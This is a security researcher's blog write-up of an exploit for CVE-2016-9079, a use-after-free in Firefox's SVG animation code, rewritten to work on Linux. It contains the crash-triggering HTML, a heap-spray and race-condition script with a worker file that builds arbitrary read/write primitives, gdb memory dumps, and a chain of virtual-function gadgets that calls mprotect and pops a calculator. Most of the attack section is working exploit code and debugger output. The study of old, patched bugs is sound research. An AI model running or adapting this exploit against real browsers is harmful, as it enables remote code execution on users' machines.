Introduction
This is a use-after-use vulnerability in the firefox before 50.2 [1]. In this post, the exploit is a routine browser exploitation process. Since exploit [1] is a working exploit on windows platform, I rewrite the exploit to make it work on Linux platform and test some ideas on vtable reuse attacks. I use a chain of multiple virtual function gadgets to change memory protection and open a listening port or popping up calculator. The final exploit can be found on my github repo[3].
Testing Environment
OS:Ubuntu 16.04.01 X64
Target: Firefox 46.0 compiled with gcc-4.9 for final exploitation
Root Cause Analysis
Since the main focus of this exploit is to test vtable reuse attacks in practice. I did not take much time analysing the root cause of the crash.
We use the crash script given on [2] and get a crash info.
<script> var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; worker.onmessage = function(e) {containerA.pauseAnimations();} var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; </script>
In the end, we get the crash info as following:
Thread 1 "firefox" received signal SIGSEGV, Segmentation fault. nsSMILTimedElement::HandleContainerTimeChange (this=0xe5e5e5e5e5e50111) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimedElement.cpp:765 765 if (mElementState == STATE_WAITING || mElementState == STATE_ACTIVE) { (gdb) info r rax 0xe5e5e5e5e5e50111 -1880844493790052079 rbx 0x7fffbd068b20 140736364710688 rcx 0x3 3 rdx 0x7fffc2627540 140736454620480 rsi 0x0 0 rdi 0xe5e5e5e5e5e50111 -1880844493790052079 rbp 0x7fffc2627a00 0x7fffc2627a00 rsp 0x7fffffffae18 0x7fffffffae18 r8 0x0 0 r9 0xfc 252 r10 0x0 0 r11 0x7fffbd168680 140736365758080 r12 0x7fffebfbfd80 140737152548224 r13 0x264 612 r14 0x5 5 r15 0x7fffffffae70 140737488334448 rip 0x7fffe8eb9450 0x7fffe8eb9450 <nsSMILTimedElement::HandleContainerTimeChange()> eflags 0x10212 [ AF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/20wx $rbx-0x20 0x7fffbd068b00: 0xbd04d040 0x00007fff 0xc26fd730 0x00007fff 0x7fffbd068b10: 0xc45026d0 0x00007fff 0xe5e50001 0xe5e5e5e5 0x7fffbd068b20: 0x00000001 0x00000001 0x0000c350 0x00000000 0x7fffbd068b30: 0xe6a89b01 0x30f9e7f3 0xbd1c6000 0x00007fff 0x7fffbd068b40: 0x6d726f46 0x696c6156 0x69746164 0x483a6e6f
At this point, we can find that this pointer is replaced with 0xe5e5e5e5e5e50111.
//jemalloc.c static inline void arena_dalloc_small(arena_t *arena, arena_chunk_t *chunk, void *ptr, arena_chunk_map_t *mapelm) { arena_run_t *run; arena_bin_t *bin; size_t size; run = (arena_run_t *)(mapelm->bits & ~pagesize_mask); RELEASE_ASSERT(run->magic == ARENA_RUN_MAGIC); bin = run->bin; size = bin->reg_size; #ifdef MALLOC_FILL if (opt_poison) memset(ptr, 0xe5, size); // at the time of freeing chunks, the deallocated area will be filled with 0xe5 #endif }
I review the source code of JE allocation in firefox and find the code above. I can find that the freed chunk will be filled with 0xe5 in the buffer. At this point, I infer that it’s a use-after-free vulnerability and start to write exploit based on this.
The condition to trigger the vulnerability is also strict. The code snippet below demonstrates the crash site
We set a breakpoint at the instruction cmp rbx, rax with the following debugging script:
break *0x00007fffe8eb948b #the address of cmp rbx, rax commands p/x $rax p/x $rbx x/4wx $rbx p "$rbp" x/20wx $rbp end
And we can get the following output
# 4th hit Thread 1 "firefox" hit Breakpoint 2, 0x00007fffe8eb948b in nsSMILTimeContainer::NotifyTimeChange (this=0x7fffc33c7800) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimeContainer.cpp:314 314 while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) { $1 = 0x7fffa43ddb80 $2 = 0x7fffa43ddb68 0x7fffa43ddb68: 0x0000c350 0x00000000 0x14a9b301 0xed9d54d1 $3 = "$rbp" 0x7fffc33c7800: 0xec0e1410 0x00007fff 0xc4d0e690 0x00007fff 0x7fffc33c7810: 0x00001ac9 0x00000000 0x00000000 0x00000000 0x7fffc33c7820: 0x00001ac9 0x00000000 0xe5000001 0x00000002 0x7fffc33c7830:*0xa43ddb00 0x00007fff* 0xe5e5e5e5 0xe5e5e5e5 0x7fffc33c7840: 0x00000003 0x80000003 0xd4070970 0x00007fff #5th hit Thread 1 "firefox" hit Breakpoint 2, 0x00007fffe8eb948b in nsSMILTimeContainer::NotifyTimeChange (this=0x7fffc33c7800) at /home/dango/Development/firefox-46.0/dom/smil/nsSMILTimeContainer.cpp:314 314 while (p < mMilestoneEntries.Elements() + mMilestoneEntries.Length()) { $10 = 0x7fffa4341698 $11 = 0x7fffa43ddb80 0x7fffa43ddb80: 0xafffff20 0x00007fff 0xafffff20 0x00007fff $12 = "$rbp" 0x7fffc33c7800: 0xec0e1410 0x00007fff 0xc4d0e690 0x00007fff 0x7fffc33c7810: 0x00001ac9 0x00000000 0x00000000 0x00000000 0x7fffc33c7820: 0x00001ac9 0x00000000 0xe5000001 0x00000002 0x7fffc33c7830:*0xa4341600 0x00007fff* 0xe5e5e5e5 0xe5e5e5e5 0x7fffc33c7840: 0x00000003 0x80000003 0xd4070970 0x00007fff
After the 4th hit of the breakpoint, the value in $rbx (index value) is 0x7fffa43ddb68 (0x7fffa43ddb00 + 0x8 + 0x18x4). At this moment, the value in $rax (end) is 0x7fffa43ddb80 such that the for loop should end at next iteration. However, in the next iteration the value of $rax is updated to 0x7fffa4341698 (0x7fffa4341600 + 0x8 + 0x18x6) and the value of $rbx is added with 0x18. The value of $rax is an address of a newly allocated chunk. If $rax is less than $rbx, the for loop will end as a normal one.
In a word, the vulnerability takes place if $rax is larger than $rbx. The for loop will go on and the value in $rbx will be added with 0x18 continuously and unintended memory corruption takes places. Such operation will go on until the instruction fetches unmapped or unreadable memory.
In the next, I am first going to explain how I gain arbitrary read/write primitive. Then I will explain how I use vtable reuse attacks to launch attack.
Gaining Arbitrary Read and Write
To explain how I gain arbitrary read and write in the end, we use the following demo script to explain.
//crash.html crash.html <html> <head> <script> var shellcode = '\u4141\u4141'; var worker = new Worker('worker.js'); worker.postMessage(shellcode); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x5000); var heap100 = new Array(0x100); var block100 = new ArrayBuffer(0x100); var block80 = new Uint32Array(0x20); var sprayBase = undefined; var arrBase = undefined; var arrIndex = 0; var animateX = undefined; var containerA = undefined; var idGenerator = function(){ return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var exploit = function() { var u32 = new Uint32Array(block80); for(i=0; i< block80.length; i++) { if(i%2 == 0){ block80[i] = 0xb0000030 - 0x110; } else if(i%2 == 1){ block80[i] = 0x7fff; } } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = 0; i < heap80.length; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e){ worker.onmessage = function(e) { arrIndex = e.data; window.setTimeout(function(){ worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') }, 10000); } arrBase = e.data; alert(arrBase); exploit(); } var craftDOM = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; </script> <style> #mtdiv{ position: absolute; width: 960px; height: 166px; z-index: 15; top: 100px; left: 50%; margin: 0 0 0 -480px; } </style> </head> <body bgcolor='#2F3236'> </body> </html>
//worker.js self.onmessage = function(msg) { var conv = new ArrayBuffer(8); var convf64 = new Float64Array(conv); var convu32 = new Uint32Array(conv); var qword2Double = function(a, b){ convu32[0] = b; convu32[1] = a; return convf64[0]; } var doubleFromFloat = function(b, a){ convf64[0] = b; return convu32[a]; } var vtable_offset = 308; // to work var arrBase = 0x7fffb0000010; var ropArrBuf = new ArrayBuffer(0x4000); var fzero = qword2Double(0x43434343, 0x43434343); var spr = Array(400); var regionsize = 0x3; var loopCount = 0x1f000; var memory1 = new Uint32Array(ropArrBuf); var memory2 = new Uint32Array(ropArrBuf); memory1[1] = 0xdeadbeef; memory2[2] = 0xcafebabf; memory2[3] = 0xdeadbef0; sprayArrays = function() { for(var b=Array(0x1fffa), a=0; a<0x1fffa; a++) { b[a] = fzero; } b[0] = qword2Double(0x7fff, 0xb0001000); //0x7fff c0000010 b[1] = qword2Double(0xdeadbeef, 0x42424242); b[2] = memory1; b[3] = memory2; for(a=0; a<spr.length; a++){ spr[a] = b.slice(0); } } var len = memory1.length; var arr_index = 0; var arr_offset = 0; var arr_length = 0; var mArray = undefined; var originalLength = 0x1fffa; sprayArrays(); Math.asin(1); mArray = spr[1]; mArray[0x20000-2] = qword2Double(0x41414141, 0); mArray[0x20000-1] = qword2Double(0x41414141, 0x41414141); Math.atan2(6, 6) postMessage(mArray[0x20000]); postMessage(arr_length); };
Let’s view the internal of Array and Uint32Array first.
(gdb) x/20wx 0x7fffc0a00000 0x7fffc0a00000: 0x00000000 0x00040000 0x00040000 0x00040000 0x7fffc0a00010: 0xb0001000 0x00007fff 0x42424242 0xdeadbeef 0x7fffc0a00020: 0xc0d2f080 0xfffc7fff 0xc0d2f140 0xfffc7fff 0x7fffc0a00030: 0x43434343 0x43434343 0x43434343 0x43434343 0x7fffc0a00040: 0x43434343 0x43434343 0x43434343 0x43434343 (gdb) x/20wx 0x7fffc0b00000 0x7fffc0b00000: 0x00000000 0x41414141 0x41414141 0x41414141 0x7fffc0b00010: 0xb0001000 0x00007fff 0x42424242 0xdeadbeef 0x7fffc0b00020: 0xc0d2f080 0xfffc7fff 0xc0d2f140 0xfffc7fff 0x7fffc0b00030: 0x43434343 0x43434343 0x43434343 0x43434343 0x7fffc0b00040: 0x43434343 0x43434343 0x43434343 0x43434343 (gdb) x/20wx 0x7fffc0d2f080 0x7fffc0d2f080: 0xc0d2c490 0x00007fff 0xc0d2e218 0x00007fff 0x7fffc0d2f090: 0x00000000 0x00000000 0xeb1c34f0 0x00007fff 0x7fffc0d2f0a0: 0xc0d2f040 0xfffc7fff 0x00001000 0xfff88000 0x7fffc0d2f0b0: 0x00000000 0xfff88000 0xc320b000 0x00007fff 0x7fffc0d2f0c0: 0xc0d2c2e0 0x00007fff 0xc0d2e100 0x00007fff (gdb) x/20wx 0x7fffc0d2f140 0x7fffc0d2f140: 0xc0d2c4c0 0x00007fff 0xc0d2e218 0x00007fff 0x7fffc0d2f150: 0x00000000 0x00000000 0xeb1c34f0 0x00007fff 0x7fffc0d2f160: 0xc0d2f040 0xfffc7fff 0x00001000 0xfff88000 0x7fffc0d2f170: 0x00000000 0xfff88000 0xc320b000 0x00007fff 0x7fffc0d2f180: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/20wx 0x7fffc320b000 0x7fffc320b000: 0xcafebabe 0xdeadbeef 0xcafebabf 0xdeadbef0 0x7fffc320b010: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffc320b020: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffc320b030: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffc320b040: 0x00000000 0x00000000 0x00000000 0x00000000
Objects located at 0x7fffc0a00000 and 0x7fffc0b00000 are two Array objects. For Array object at 0x7fffc0a00000, value 0x00040000 at 0x7fffc0a00004, 0x7fffc0a00008, 0x7fffc0a0000c are used for different uses in array operation, our first goal is to create a victim Array object at 0x7fffc0b00000.
At this point, a corrupted Array can at most enable us to read/write about 16GB (2^32 x 4) with the corrupted metadata in Array object. To enable the arbitrary read/write on the whole memory address space, we need to take a further step.
Two Uint32Array objects are located at 0x7fffc0d2f080 and 0x7fffc0d2f140. Those two addresses can be retrieved via the corrupted Array object. Those two values can be retrieved at 0x7fffc0b00020 and 0x7fffc0b00028. The buffer pointer 0x7fffc320b000 is located at
0x7fffc0d2f0b8 and 0x7fffc0d2f178. We can corrupt the buffer pointer and gain full arbitrary read/write primitive in the end.
To explain how we get a corrupted array at 0x7fffc0b00000, I first explain the code below that triggers initial memory corruption.
The code that corrupts the metadata of victim Array objects is inc [rdx]. However, the instruction is used to record the reference count of the object. After the execution ends, the reference count will be restored to the original value
To put it simple, if we arrange the heap layout as below, the corrupted Array object cannot be used for read/write stably since the corrupted metadata will be restored to original value.
[<--victim Array-->][<--corrupted Array-->]
To overcome this problem, I have to arrange the array layout as below:
[<--victim Array-->][<--corrupted Array1-->][<--corrupted Array2-->]
I create worker process to exploit a race condition to achieve a stable exploit.
I corrupt the metadata of Array1 first. During the interval that the metadata of Array1 is corrupted, the worker process is responsible for locating Array1 and corrupt the metadata of next adjacent Array2. Even if the metadata of Array1 is restored afterwards, the metadata of Array2 is still corrupted and I can use Array2 for arbitrary read/write.
Control Flow Hijacking
After proving the ability of arbitrary read/write, we next show how we hijack control flow via vtable reuse attacks. To avoid potential trouble, the final exploit is just a demo exploit with ASLR disabled under GDB.
To execute shellcode in the end, the basic plan is given below:
(1)hijack control flow of virtual function call,
(2)prepare argument register for mprotect,
(3)execute shellcode
To hijack control flow, we choose to craft vtable for a virtual function call in
nsIContent::GetFlattenedTreeParent()
At the callsite of virtual function call, the instruction is 0x00007fffe839f109 : callq *0x298(%rax) and value in $rbp and $rax are under our control.
(gdb) disassemble _ZNK10nsIContent22GetFlattenedTreeParentEv Dump of assembler code for function nsIContent::GetFlattenedTreeParent() const: 0x00007fffe839f098 <+0>: push %rbp 0x00007fffe839f099 <+1>: push %rbx 0x00007fffe839f09a <+2>: mov %rdi,%rbp 0x00007fffe839f09d <+5>: push %rcx 0x00007fffe839f09e <+6>: callq 0x7fffe818bb70 <nsINode::GetParent() const> 0x00007fffe839f0a3 <+11>: test %rax,%rax 0x00007fffe839f0a6 <+14>: mov %rax,%rbx 0x00007fffe839f0a9 <+17>: je 0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93> 0x00007fffe839f0ab <+19>: mov %rax,%rdi 0x00007fffe839f0ae <+22>: callq 0x7fffe833765e <nsContentUtils::HasDistributedChildren(nsIContent*)> 0x00007fffe839f0b3 <+27>: test %al,%al 0x00007fffe839f0b5 <+29>: je 0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93> 0x00007fffe839f0b7 <+31>: mov %rbp,%rsi 0x00007fffe839f0ba <+34>: mov %rbx,%rdi 0x00007fffe839f0bd <+37>: callq 0x7fffe8334c46 <nsContentUtils::IsInSameAnonymousTree(nsINode const*, nsIContent const*)> 0x00007fffe839f0c2 <+42>: test %al,%al 0x00007fffe839f0c4 <+44>: je 0x7fffe839f0f5 <nsIContent::GetFlattenedTreeParent() const+93> 0x00007fffe839f0c6 <+46>: mov 0x0(%rbp),%rax 0x00007fffe839f0ca <+50>: mov %rbp,%rdi 0x00007fffe839f0cd <+53>: callq *0x290(%rax) 0x00007fffe839f0d3 <+59>: test %rax,%rax 0x00007fffe839f0d6 <+62>: je 0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135> 0x00007fffe839f0d8 <+64>: mov (%rax),%rdx 0x00007fffe839f0db <+67>: cmpl $0x0,(%rdx) 0x00007fffe839f0de <+70>: je 0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135> 0x00007fffe839f0e0 <+72>: mov %rax,%rdi 0x00007fffe839f0e3 <+75>: callq 0x7fffe83aae0e <nsTArray_Impl<nsIContent*, nsTArrayInfallibleAllocator>::LastElement()> 0x00007fffe839f0e8 <+80>: mov (%rax),%rdi 0x00007fffe839f0eb <+83>: callq 0x7fffe818bb70 <nsINode::GetParent() const> 0x00007fffe839f0f0 <+88>: mov %rax,%rbx 0x00007fffe839f0f3 <+91>: jmp 0x7fffe839f0fb <nsIContent::GetFlattenedTreeParent() const+99> 0x00007fffe839f0f5 <+93>: testb $0x1,0x19(%rbp) 0x00007fffe839f0f9 <+97>: jne 0x7fffe839f102 <nsIContent::GetFlattenedTreeParent() const+106> 0x00007fffe839f0fb <+99>: test %rbx,%rbx 0x00007fffe839f0fe <+102>: jne 0x7fffe839f117 <nsIContent::GetFlattenedTreeParent() const+127> 0x00007fffe839f100 <+104>: jmp 0x7fffe839f11f <nsIContent::GetFlattenedTreeParent() const+135> 0x00007fffe839f102 <+106>: mov 0x0(%rbp),%rax 0x00007fffe839f106 <+110>: mov %rbp,%rdi 0x00007fffe839f109 <+113>: callq *0x298(%rax)
Different from the paper that uses scratch register to load values in to argument registers, I use a more affirmative way to load values into argument registers. But I do not use existing virtual tables in read-only memory to do this job. Instead, I am still using vtable injection injection to invoke virtual function gadget. But I chain the virtual function gadgets in a row to change memory protection flag.
First of all, I need an auxiliary virtual function gadget. This gadget is used to load value from fake object to rax as return value.
(gdb) disassemble 0x7fffe8282680 Dump of assembler code for function mozilla::layers::BufferTextureHost::GetSize() const: 0x00007fffe8282680 <+0>: mov 0x98(%rdi),%rax 0x00007fffe8282687 <+7>: retq End of assembler dump.
Then I use multiple virtual function gadgets to load argument register
void nsCyrXPCOMDetector::Report(const char* aCharset) { NS_ASSERTION(mObserver != nullptr , "have not init yet"); mObserver->Notify(aCharset, eBestAnswer); } (gdb) disassemble 0x7fffe80499c2 Dump of assembler code for function nsCyrXPCOMDetector::Report(char const*): 0x00007fffe80499c2 <+0>: mov 0x50(%rdi),%rdi 0x00007fffe80499c6 <+4>: mov $0x1,%edx 0x00007fffe80499cb <+9>: mov (%rdi),%rax 0x00007fffe80499ce <+12>: mov 0x18(%rax),%rax 0x00007fffe80499d2 <+16>: jmpq *%rax End of assembler dump. RecordedPushClip::PlayEvent(Translator *aTranslator) const { aTranslator->LookupDrawTarget(mDT)->PushClip(aTranslator->LookupPath(mPath)); } (gdb) disassemble 0x7fffe81c277c Dump of assembler code for function mozilla::gfx::RecordedPushClip::PlayEvent(mozilla::gfx::Translator*) const: 0x00007fffe81c277c <+0>: push %r13 0x00007fffe81c277e <+2>: push %r12 0x00007fffe81c2780 <+4>: mov %rdi,%r12 0x00007fffe81c2783 <+7>: push %rbp 0x00007fffe81c2784 <+8>: push %rbx 0x00007fffe81c2785 <+9>: mov %rsi,%rbx 0x00007fffe81c2788 <+12>: push %rax 0x00007fffe81c2789 <+13>: mov (%rbx),%rax 0x00007fffe81c278c <+16>: mov 0x28(%rdi),%rsi 0x00007fffe81c2790 <+20>: mov %rbx,%rdi 0x00007fffe81c2793 <+23>: callq *0x10(%rax) 0x00007fffe81c2796 <+26>: mov %rax,%rbp 0x00007fffe81c2799 <+29>: mov (%rax),%rax 0x00007fffe81c279c <+32>: mov 0x30(%r12),%rsi 0x00007fffe81c27a1 <+37>: mov %rbx,%rdi 0x00007fffe81c27a4 <+40>: mov 0xd0(%rax),%r13 0x00007fffe81c27ab <+47>: mov (%rbx),%rax 0x00007fffe81c27ae <+50>: callq *0x18(%rax) 0x00007fffe81c27b1 <+53>: pop %rdx 0x00007fffe81c27b2 <+54>: mov %rax,%rsi 0x00007fffe81c27b5 <+57>: mov %rbp,%rdi 0x00007fffe81c27b8 <+60>: mov %r13,%rax 0x00007fffe81c27bb <+63>: pop %rbx 0x00007fffe81c27bc <+64>: pop %rbp 0x00007fffe81c27bd <+65>: pop %r12 0x00007fffe81c27bf <+67>: pop %r13 0x00007fffe81c27c1 <+69>: jmpq *%rax End of assembler dump.
After RecordedPushClip::PlayEvent, values in rdi and rsi are under our control. After nsCyrXPCOMDetector::Report, values in rdi, rsi and rdx are under our control. In COOP, an invoking gadget is still required to invoke a function pointer. I skip this step in my demo exploit and jump to the function that changes protection flag.
In my demo exploit, the function I pick to change protection flag is give below:
ExecutableAllocator::reprotectRegion(void* start, size_t size, ProtectionSetting setting) { intptr_t startPtr = reinterpret_cast<intptr_t>(start); intptr_t pageStartPtr = startPtr & ~(pageSize - 1); void* pageStart = reinterpret_cast<void*>(pageStartPtr); size += (startPtr - pageStartPtr); // Round size up size += (pageSize - 1); size &= ~(pageSize - 1); return !mprotect(pageStart, size, (setting == Writable) ? FLAGS_RW : FLAGS_RX); }
With three argument registers under my control, I can set any area in memory to executable. To pop up xcalc, we use the system@plt to execute system(“xcalc”). The string is prepared together during our heap spray process.
Conclusion
In this post, I give a brief introduction on how to exploit a use-after-free vulnerability in firefox. I analyse the root cause of the crash a bit and explain the internal of of gaining arbitrary read/write primitives in the end. More importantly, I pick some virtual function gadgets from libxul.so to achieve all necessary operations as a simple practice of COOP.
Reference
[1] https://www.exploit-db.com/exploits/41151/
[2] https://bugzilla.mozilla.org/show_bug.cgi?id=1321066
[3] https://github.com/dangokyo/CVE-2016-9079
[…] the length of the Vector Object. At this point, we are facing the same problem as my exploit on CVE-2016-9079. In a 64-bit system, the corrupted length data can only allow attacker to search through at most […]
LikeLike
[…] exploitation primitives during the web browser exploitation. In this paper, the author uses CVE-2016-9079 as an example to demonstrate their work, which happens to be analysed in my post before. In this […]
LikeLike
[…] exploitation primitives during the web browser exploitation. In this paper, the author uses CVE-2016-9079 as an example to demonstrate their work, which happens to be analysed in my post before. In this […]
LikeLike